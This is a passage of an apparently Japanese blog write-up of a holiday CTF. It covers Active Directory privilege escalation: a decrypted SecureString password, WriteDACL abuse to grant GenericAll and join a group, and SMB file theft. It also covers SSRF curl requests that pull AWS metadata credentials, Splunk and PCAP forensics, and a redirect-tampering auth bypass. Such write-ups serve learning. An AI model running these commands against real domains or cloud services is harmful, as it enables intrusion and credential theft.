  Get-WorkingDirectory.ps1            N      188  Wed Oct 27 19:12:43 2021
  Stop-EtwTraceCapture.ps1            N      924  Wed Oct 27 19:12:43 2021
  create-knownissue-function.ps1      N     2104  Wed Oct 27 19:12:43 2021
  PsTestFunctions.ps1                 N    52454  Wed Oct 27 19:12:43 2021
(snip)
  AzureAD.ps1                         N      141  Wed Oct 27 19:12:43 2021
  Copy-FileToRemoteComputer.ps1       N     3794  Wed Oct 27 19:12:43 2021
  New-NavContainerTenant.ps1          N     5623  Wed Oct 27 19:12:43 2021

                41089256 blocks of size 1024. 33443292 blocks available
smb: \>

直下には多くのPowerShellスクリプトファイルが存在した。いったんこれらをダウンロードしておく。

※リモート作業端末のsmbclientでは複数ファイルをダウンロードするコマンド「mget」が利用できなかったため、いったんファイルリストを作成し、Bashで1つずつダウンロードする操作を行った。

towccjveud@grades:~$ mkdir from-elfu_svc_shr
towccjveud@grades:~$ cd from-elfu_svc_shr/
towccjveud@grades:~/from-elfu_svc_shr$ smbclient -U elfu_svc -W elfu.local //172.17.0.3/elfu_svc_shr Snow2021! -c ls > list
towccjveud@grades:~/from-elfu_svc_shr$ head list
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Mon Dec 27 08:01:25 2021
  Get-NavArtifactUrl.ps1              N     2018  Wed Oct 27 19:12:43 2021
  Get-WorkingDirectory.ps1            N      188  Wed Oct 27 19:12:43 2021
  Stop-EtwTraceCapture.ps1            N      924  Wed Oct 27 19:12:43 2021
  create-knownissue-function.ps1      N     2104  Wed Oct 27 19:12:43 2021
  PsTestFunctions.ps1                 N    52454  Wed Oct 27 19:12:43 2021
  StoreIngestionApplicationApi.ps1      N   108517  Wed Oct 27 19:12:43 2021
  Compile-ObjectsInNavContainer.ps1      N     4431  Wed Oct 27 19:12:43 2021
  Run-ConnectionTestToNavContainer.ps1      N    13856  Wed Oct 27 19:12:43 2021
towccjveud@grades:~/from-elfu_svc_shr$ cat list | grep " N " | cut -d" " -f3 > list2
towccjveud@grades:~/from-elfu_svc_shr$ head list2
Get-NavArtifactUrl.ps1
Get-WorkingDirectory.ps1
Stop-EtwTraceCapture.ps1
create-knownissue-function.ps1
PsTestFunctions.ps1
StoreIngestionApplicationApi.ps1
Compile-ObjectsInNavContainer.ps1
Run-ConnectionTestToNavContainer.ps1
StoreIngestionIapApi.ps1
Test-SdnKnownIssue.ps1
towccjveud@grades:~/from-elfu_svc_shr$
towccjveud@grades:~/from-elfu_svc_shr$ for i in `cat list2` ; do smbclient -U elfu_svc -W elfu.local //172.17.0.3/elfu_svc_shr Snow2021! -c "get $i" ; done
getting file \Get-NavArtifactUrl.ps1 of size 2018 as Get-NavArtifactUrl.ps1 (1970.5 KiloBytes/sec) (average 1970.7 KiloBytes/sec)
getting file \Get-WorkingDirectory.ps1 of size 188 as Get-WorkingDirectory.ps1 (183.6 KiloBytes/sec) (average 183.6 KiloBytes/sec)
(snip)
getting file \Copy-FileToRemoteComputer.ps1 of size 3794 as Copy-FileToRemoteComputer.ps1 (3704.7 KiloBytes/sec) (average 3705.1 KiloBytes/sec)
getting file \New-NavContainerTenant.ps1 of size 5623 as New-NavContainerTenant.ps1 (5490.7 KiloBytes/sec) (average 5491.2 KiloBytes/sec)
towccjveud@grades:~/from-elfu_svc_shr$

上記により、スクリプト群を入手できた。

8-5. 別の認証情報を入手

8-4で入手したスクリプトファイルを確認する。これはヒントに、認証情報を運用スクリプトに含めている、という内容があったため。

ドメインに対し認証している、ということで、まずはドメイン名である「elfu」で検索してみる。

towccjveud@grades:~/from-elfu_svc_shr$ grep -i elfu *
GetProcessInfo.ps1:$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
towccjveud@grades:~/from-elfu_svc_shr$

すると「GetProcessInfo.ps1」というスクリプトの中で、何等か認証を行っている部分がある模様。内容は以下のようになっていた。

$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate

スクリプトの内容は、DCに対し「Get-Process」というPowerShellコマンドをリモートで実行しているもののようだ。そのための認証作業も上の部分で行っているため、ここから認証情報を取り出せそうである。

リモート操作端末にはPowerShell実行環境である「pwsh」が導入されていたので、ここ上でプレーンテキストのパスワードに変換する。

towccjveud@grades:~$ pwsh
PowerShell 7.2.0-rc.1
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/towccjveud> $SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
PS /home/towccjveud> $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
PS /home/towccjveud>
PS /home/towccjveud> $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($aPass)
PS /home/towccjveud> [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr)
A1d655f7f5d98b10!
PS /home/towccjveud>

パスワードを復号でき、「remote_elf」アカウントのパスワードは「A1d655f7f5d98b10!」とわかった。

なお「GetProcessInfo.ps1」ではリモートで操作しているため、この「remote_elf」アカウントにはリモートでPowerShell操作できる権限が与えられていると考えられる。ヒントの動画の中で行っていたように、「Enter-PSSession」を実行できるか試してみる。

PS /home/towccjveud> $password = ConvertTo-SecureString "A1d655f7f5d98b10!" -AsPlainText -Force
PS /home/towccjveud> $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $password)
PS /home/towccjveud> Enter-PSSession -ComputerName elfu.local -Credential $creds -Authentication Negotiate
[elfu.local]: PS C:\Users\remote_elf\Documents>
[elfu.local]: PS C:\Users\remote_elf\Documents> hostname
DC01
[elfu.local]: PS C:\Users\remote_elf\Documents>

正常にDCにログインでき、DC上でPowerShellコマンドを実行できるようになった。

8-6. 共有フォルダへアクセスするための権限付与

8-5でDC上でPowerShellコマンドを実行できるようになったので、8-2で見つけた本問題の目的の共有フォルダ「//172.17.0.3/research_dep」へアクセスするための権限を付与する。

まずは付与する権限がなにかを調査する。ADのグループ情報を取得してみる。

※8-5で「Enter-PSSession」でDCに接続したコンソールで操作する。

[elfu.local]: PS C:\Users\remote_elf\Documents> Get-ADGroup -LDAPFilter "(cn=*)"


DistinguishedName : CN=Administrators,CN=Builtin,DC=elfu,DC=local
GroupCategory     : Security
GroupScope        : DomainLocal
Name              : Administrators
ObjectClass       : group
ObjectGUID        : 61a2812b-6bb3-46e1-9f3d-b160648771a7
SamAccountName    : Administrators
SID               : S-1-5-32-544

DistinguishedName : CN=Users,CN=Builtin,DC=elfu,DC=local
GroupCategory     : Security
GroupScope        : DomainLocal
Name              : Users
ObjectClass       : group
ObjectGUID        : c70fc31f-9b64-4aa8-bc1f-8b96490efef4
SamAccountName    : Users
SID               : S-1-5-32-545

(snip)

DistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local
GroupCategory     : Security
GroupScope        : Global
Name              : Research Department
ObjectClass       : group
ObjectGUID        : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d
SamAccountName    : ResearchDepartment
SID               : S-1-5-21-2037236562-2033616742-1485113978-1108

DistinguishedName : CN=File Shares,CN=Computers,DC=elfu,DC=local
GroupCategory     : Security
GroupScope        : Global
Name              : File Shares
ObjectClass       : group
ObjectGUID        : 46595df3-e36a-4c0e-b00f-77e44564c353
SamAccountName    : File Shares
SID               : S-1-5-21-2037236562-2033616742-1485113978-1511

「Research Department」(SamAccountNameは「ResearchDepartment」)というグループがあり、先の共有フォルダ名とも似ているため、このグループに所属すればいいのでは、と考える。

次に所属させるための方法を検討する。これはヒントのYoutubeの動画にもあったが、WriteDACLという権限を持ったアカウントがいればよさそうだ。「Research Department」グループでWriteDACL権限を持つアカウントがないか確認する。

[elfu.local]: PS C:\Users\remote_elf\Documents> $ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[elfu.local]: PS C:\Users\remote_elf\Documents> $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])


ActiveDirectoryRights : GenericRead
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : NT AUTHORITY\SELF
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

(snip)

ActiveDirectoryRights : GenericAll
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\Domain Admins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

(snip)

ActiveDirectoryRights : CreateChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
InheritanceType       : All
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : BUILTIN\Administrators
IsInherited           : True
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

すると現在操作しているアカウントである「remote_elf」にWriteDACLの権限があることがわかる。この権限を利用し、自分のアカウントに「GenericAll」権限を付与する。

[elfu.local]: PS C:\Users\remote_elf\Documents> Add-Type -AssemblyName System.DirectoryServices
[elfu.local]: PS C:\Users\remote_elf\Documents> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[elfu.local]: PS C:\Users\remote_elf\Documents> $username = "towccjveud"
[elfu.local]: PS C:\Users\remote_elf\Documents> $nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
[elfu.local]: PS C:\Users\remote_elf\Documents> $propGUID = [guid]'00000000-0000-0000-0000-000000000000'
[elfu.local]: PS C:\Users\remote_elf\Documents> $IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
[elfu.local]: PS C:\Users\remote_elf\Documents> $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
[elfu.local]: PS C:\Users\remote_elf\Documents> $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
[elfu.local]: PS C:\Users\remote_elf\Documents> $secOptions = $domainDirEntry.get_Options()
[elfu.local]: PS C:\Users\remote_elf\Documents> $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry.RefreshCache()
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry.dispose()

特にエラーなく実行完了できた。権限が割り当たったか確認する。

[elfu.local]: PS C:\Users\remote_elf\Documents> $ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[elfu.local]: PS C:\Users\remote_elf\Documents> $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

(snip)

ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

(snip)

ActiveDirectoryRights : GenericAll
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\towccjveud
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

(snip)

ActiveDirectoryRights : CreateChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
InheritanceType       : All
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : BUILTIN\Administrators
IsInherited           : True
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

自分のアカウントが出てき、正しくGenericAll権限が割り当たったことが確認できた。

GenericAll権限が割り当てられたので、最後にResearch Departmentグループに所属させる。

※なお実行前のグループ情報は以下の通り。

[elfu.local]: PS C:\Users\remote_elf\Documents> net user towccjveud
User name                    towccjveud
Full Name                    towccjveud
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/28/2021 1:45:17 PM
Password expires             Never
Password changeable          12/29/2021 1:45:17 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.

[elfu.local]: PS C:\Users\remote_elf\Documents>

グループに所属させる処理を実行する。

[elfu.local]: PS C:\Users\remote_elf\Documents> Add-Type -AssemblyName System.DirectoryServices
[elfu.local]: PS C:\Users\remote_elf\Documents> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[elfu.local]: PS C:\Users\remote_elf\Documents> $username = "towccjveud"
[elfu.local]: PS C:\Users\remote_elf\Documents> $password = "(masked)"
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
[elfu.local]: PS C:\Users\remote_elf\Documents> $user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
[elfu.local]: PS C:\Users\remote_elf\Documents> $sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
[elfu.local]: PS C:\Users\remote_elf\Documents> $b=New-Object byte[] $sid.BinaryLength
[elfu.local]: PS C:\Users\remote_elf\Documents> $sid.GetBinaryForm($b,0)
[elfu.local]: PS C:\Users\remote_elf\Documents> $hexSID=[BitConverter]::ToString($b).Replace('-','')
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry.Add("LDAP://<SID=$hexSID>")
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[elfu.local]: PS C:\Users\remote_elf\Documents> $domainDirEntry.dispose()

処理が完了したので、所属するグループを確認する。

[elfu.local]: PS C:\Users\remote_elf\Documents> net user towccjveud
User name                    towccjveud
Full Name                    towccjveud
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/28/2021 1:45:17 PM
Password expires             Never
Password changeable          12/29/2021 1:45:17 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *ResearchDepartment   *Domain Users
The command completed successfully.

[elfu.local]: PS C:\Users\remote_elf\Documents>

正常にグループに所属できた。

8-7. 秘密情報の入手

ResearchDepartmentグループに所属できたので、共有フォルダにアクセス可能かsmbmapで確認する。

towccjveud@grades:~$ python3 smbmap.py -u towccjveud -p (masked) -d elfu.local -H 172.17.0.3

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap


[+] IP: 172.17.0.3:445  Name: 172.17.0.3                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        netlogon                                                READ ONLY
        sysvol                                                  READ ONLY
        elfu_svc_shr                                            NO ACCESS       elfu_svc_shr
        research_dep                                            READ ONLY       research_dep
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.3.11-Ubuntu)

「research_dep」へのアクセスが「READ ONLY」に変わっていることがわかる。smbclientコマンドでファイルを入手する。

towccjveud@grades:~$ smbclient -U towccjveud -W elfu.local //172.17.0.3/research_dep
Enter ELFU.LOCAL\towccjveud's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Tue Dec 28 08:01:30 2021
  SantaSecretToAWonderfulHolidaySeason.pdf      N   173932  Thu Dec  2 16:38:26 2021

                41089256 blocks of size 1024. 34407696 blocks available
smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (56616.6 KiloBytes/sec) (average 56618.5 KiloBytes/sec)
smb: \>

共有フォルダ直下に「SantaSecretToAWonderfulHolidaySeason.pdf」というファイルがあったのでダウンロードした。

リモート作業端末ではPDFファイルを開けないため、ローカルのKali Linuxにscpコマンドでダウンロードする。

kali@kali:~/obj8$ scp -P 2222 towccjveud@grades.elfu.org:/home/towccjveud/SantaSecretToAWonderfulHolidaySeason.pdf .
towccjveud@grades.elfu.org's password:
SantaSecretToAWonderfulHolidaySeason.pdf            100%  170KB 270.3KB/s   00:00

ダウンロードできたのでファイルを開いてみる。

f:id:fatsheep:20220112232059p:plain

ファイルの内容は上記の通り。Objectiveの回答は、リストの最初は何か、であるため、以下が回答。

Answer: Kindness

9. Splunk!

f:id:fatsheep:20220112232103p:plain

Task 1

Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.

Sampleサーチの1つ目を利用し、以下のように実行。

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational CommandLine="git*" user=eddie
| stats count by CommandLine
| sort - count

結果は以下の通り。

f:id:fatsheep:20220112232105p:plain

Answer: git status

Task 2

Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the 'partnerapi' repo. The correct one!

Task1のサーチ文を修正し、以下のように実行。

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational CommandLine="git*partnerapi*" user=eddie

結果は以下の通り。

f:id:fatsheep:20220112232108p:plain

Answer: git@github.com:elfnp3/partnerapi.git

Task 3

Eddie was running Docker on his workstation. Gather the full command line that Eddie used to bring up a the partnerapi project on his workstation.

Dockerコマンドを利用していたということで、Task2のサーチ文を修正し、以下のように実行。

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational CommandLine="docker*" user=eddie
| stats count by CommandLine

結果は以下の通り。

f:id:fatsheep:20220112232110p:plain

Answer: docker compose up

Task 4

Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the name of the vulnerable GitHub repository that the elves cloned for testing and document it here. Inspect the repository.name field in Splunk.

問題文の通り、すべてのログを表示し、sourcetypeを確認する。

f:id:fatsheep:20220112232113p:plain

sourcetypeに「github_json」というものがあったので、これでさらに絞り込む。

f:id:fatsheep:20220112232116p:plain

いくつかフィールドを見ていくと、「repository.html_url」にGitHubのURLが2つ見つかる。

f:id:fatsheep:20220112232119p:plain

このうち1つ目の「dvws-node」がエルフがクローンしたリポジトリと考えられる。このページにアクセスするとフォーク元のリポジトリが記載されている。

f:id:fatsheep:20220112232121p:plain

Answer: https://github.com/snoopysecurity/dvws-node

Task 5

Santa asked Eddie to add a JavaScript library from NPM to the 'partnerapi' project. Determine the name of the library and record it here for our workshop documentation.

npm、partnerapiで検索する。

f:id:fatsheep:20220112232124p:plain

結果を確認する。

f:id:fatsheep:20220112232126p:plain

「holiday-utils-js」をインストールしようとしたログがあり、これが答え。

Answer: holiday-utils-js

Task 6

Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search NOT dest_port IN (22%2C53%2C80%2C443) | stats count by dest_ip dest_port&display.page.search.mode=smart&dispatch.sample_ratio=1&workload_pool=&earliest=0&latest=now) and capture the full process_name field of anything that looks suspicious.

stats句に「process_name」を追加する。

f:id:fatsheep:20220112232129p:plain

今まで出てこなかった以下のプロセスが解。

Answer: /usr/bin/nc.openbsd

Task 7

Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don't indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.

まず前問で見つかったプロセスについて、sysmonのProcess Creationを調べる。

f:id:fatsheep:20220112232131p:plain

f:id:fatsheep:20220112232134p:plain

親プロセスの情報がわかったので、今度はこれをキーに同様に調べる。

f:id:fatsheep:20220112232136p:plain

結果は2件あり、nc.openbsdではないほうを確認する。

f:id:fatsheep:20220112232139p:plain

プロセスは「/usr/bin/cat」で、このコマンドで開いたファイルの数はCommandLineフィールドによると6ファイルであった。

Answer: 6

Task 8

Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.

調査対象がBashスクリプトなので、試しにCommandLineフィールドで「.sh」で終わるものを検索してみる。

f:id:fatsheep:20220112232141p:plain

1件(結果は2種類だが、内容としては同じもの)がヒットし、これが答えだった。

Answer: preinstall.sh

本タスク完了後に、以下の画像が表示された。

f:id:fatsheep:20220112232144p:plain

Ovjectiveの回答は、最後にサンタが何と言ったか、なので、「whiz」が答え。

Answer (Objective): whiz

10. Now Hiring!

f:id:fatsheep:20220112232147p:plain

指定されたWEBサイトからシークレットアクセスキーを漏洩させる。

WEBサイトへアクセスすると以下のようなページが表示される。トップページ下の「Apply Now」から進めていく模様。

f:id:fatsheep:20220112232150p:plain

「Career Application」のページで何等か脆弱性をついて、通常アクセスできないアクセスキーなどにアクセスしていく。

ヒントではSSRFを利用する、とあったので、外部に通信が行きそうな「URL to your public NLBI report」に「http://169.254.169.254/latest」を入れて実行してみる。

f:id:fatsheep:20220112232153p:plain

次の画面で真ん中の画像が何やら表示されていない。画像ファイルが見つからなかったのか、と思ったが、開発者ツールで見るとステータスは200になっているため、何等かデータが含まれているようだ。

f:id:fatsheep:20220112232156p:plain

画像ファイルをダウンロードしエディタで開いてみたところ、以下のようになっていた。

f:id:fatsheep:20220112232159p:plain

この結果からSSRFの脆弱性をついて、通常知りえない情報へアクセスできることが分かった。あとはターミナルの問題と同様の手順をたどる。

これ以降はcurlでアクセスしていく。まずはロールの名前を特定する。

$ curl -I "https://apply.jackfrosttower.com/?inputName=test123test&inputEmail=&inputPhone=&resumeFile=&inputWorkSample=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials&additionalInformation=&submit="
HTTP/2 200
server: nginx/1.16.1
date: Fri, 24 Dec 2021 13:24:07 GMT
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.3.14
via: 1.1 google
alt-svc: clear


$ curl "https://apply.jackfrosttower.com/images/test123test.jpg"
jf-deploy-role

ロールの名前は「jf-deploy-role」。次にこのロールの情報を取得する。

$ curl -I "https://apply.jackfrosttower.com/?inputName=test123test&inputEmail=&inputPhone=&resumeFile=&inputWorkSample=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2Fjf-deploy-role&additionalInformation=&submit=
"
HTTP/2 200
server: nginx/1.16.1
date: Fri, 24 Dec 2021 13:24:30 GMT
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.3.14
via: 1.1 google
alt-svc: clear


$ curl "https://apply.jackfrosttower.com/images/test123test.jpg"
{
        "Code": "Success",
        "LastUpdated": "2021-05-02T18:50:40Z",
        "Type": "AWS-HMAC",
        "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
        "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
        "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
        "Expiration": "2026-05-02T18:50:40Z"
}

シークレットアクセスキーを取得できた。

Answer: CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX

11. Customer Complaint Analysis

f:id:fatsheep:20220112232202p:plain

PCAPファイルが与えられる。この中で、人間が不正に通信したログを見つけ、そこからさらに関連する問い合わせを行ったトロール3人を見つける。

PCAPの内容は、WEB経由の問い合わせ窓口サービスのようなものの通信ログであった。まずは不正に通信したログを見つける。ヒントとして、パケットの「ip.flags.rb」を見よ、とのことなので、ほかの通信と違うフラグの通信を見つける。

パケットを見比べていったところ、10.70.84.251→10.70.84.10の通信のみ、ほかの通信とフラグが異なっていた。(Reserved bitがほかの通信は1で、この通信のみ0であった。)

f:id:fatsheep:20220112232204p:plain

やり取りの内容を見ると、トロール名がほかの通信の書式と異なっていたり、IDもなかったりし不審なものに見える。

f:id:fatsheep:20220112232207p:plain

次にこのログに関連するものを検索する。検索するキーは部屋番号で、「1024」をキーに探していく。すると以下の3件の通信ログを見つけることができる。

※検索にはWiresharkの検索機能を利用する。

f:id:fatsheep:20220112232209p:plain

f:id:fatsheep:20220112232211p:plain

f:id:fatsheep:20220112232214p:plain

f:id:fatsheep:20220112232216p:plain

苦情を出した3名のトロールは、上記ログの3名であった。

答えはトロール名をスペース区切りでアルファベット順に並べたものとなるため、以下が答え。

Answer: Flud Hagg Yaqh

12. Frost Tower Website Checkup

f:id:fatsheep:20220112232218p:plain

12-1. ソースコードの確認

今回の問題ではソースコードが与えられているので内容を確認する。

  • アプリケーションはnode.jsで作成されている。
  • DBにはmysqlが利用されている。
  • バックエンドのアプリケーションはserver.jsというファイルにほぼ記載されており、外部からアクセスがあった際はこのファイルに記載されている動作をするように作られている。

Ovjectiveの内容とヒントから、SQLインジェクションを利用するものと想定しソースコードの内容を確認するが、ざっとみてもすべてのSQL文はサニタイズなどの対策が施されているように見える。

また情報を抜き出そうとする際、SQLインジェクションが実行できそうなSQL文は認証が必要(Session情報が必要)で、どうにかしてシステムにログインする必要がある模様。

12-2. 認証をバイパス

認証を突破する方法を考える。

認証が不要なエンドポイントは、「/」、「/testsite」、「/contact」、「/postcontact」、「/login」、「/redirect」、「/forgetpass」がある模様。この中でエンドポイント「/contact」と「/postcontact」に着目する。

「/contact」のページはコンタクト情報を登録する機能を持っているようである。formでsubmitするとエンドポイント「/postcontact」に情報をpostし、もしメールアドレスが登録されていない場合はDBに登録、逆にDBにメールアドレスが登録されている場合はエラーメッセージを表示する、という流れである。

上記の処理の流れの中でメールアドレスが既知だった場合の処理で、なぜかセッションのuniqueIDにメールアドレスを格納している。

f:id:fatsheep:20220112232221p:plain

この部分が利用できそう。uniqueIDに値がセットされていれば、認証が必要な各ページを表示できるようになる。この部分の処理の最後は再びエンドポイント「/contact」を表示するようになっているが、この部分を無理やり変更する。

上記の作業にはローカルプロキシツールであるFiddlerを利用した。サーバからのレスポンスがブラウザに渡される前にFiddlerで処理を止め、内容を変更する。変更する部分は302リダイレクトのリダイレクト先で、「/contact」を「/dashboard」(本来認証が必要なページ)に変更する。

なおメールアドレスが既知のものを入力しないといけないが、最初はどのようなメールアドレスが登録されているかわからないため、1度適当なメールアドレスで登録作業を行う。

f:id:fatsheep:20220112232223p:plain

次にFiddlerでレスポンスがブラウザに帰ってくる前のところで処理を止める設定をする。

f:id:fatsheep:20220112232225p:plain

先ほど登録したメールアドレスで再度登録作業を行う。

f:id:fatsheep:20220112232228p:plain

レスポンスがFiddlerで止まっているので、リダイレクト先を「/contact」から「/dashboard」に変更する。

f:id:fatsheep:20220112232230p:plain

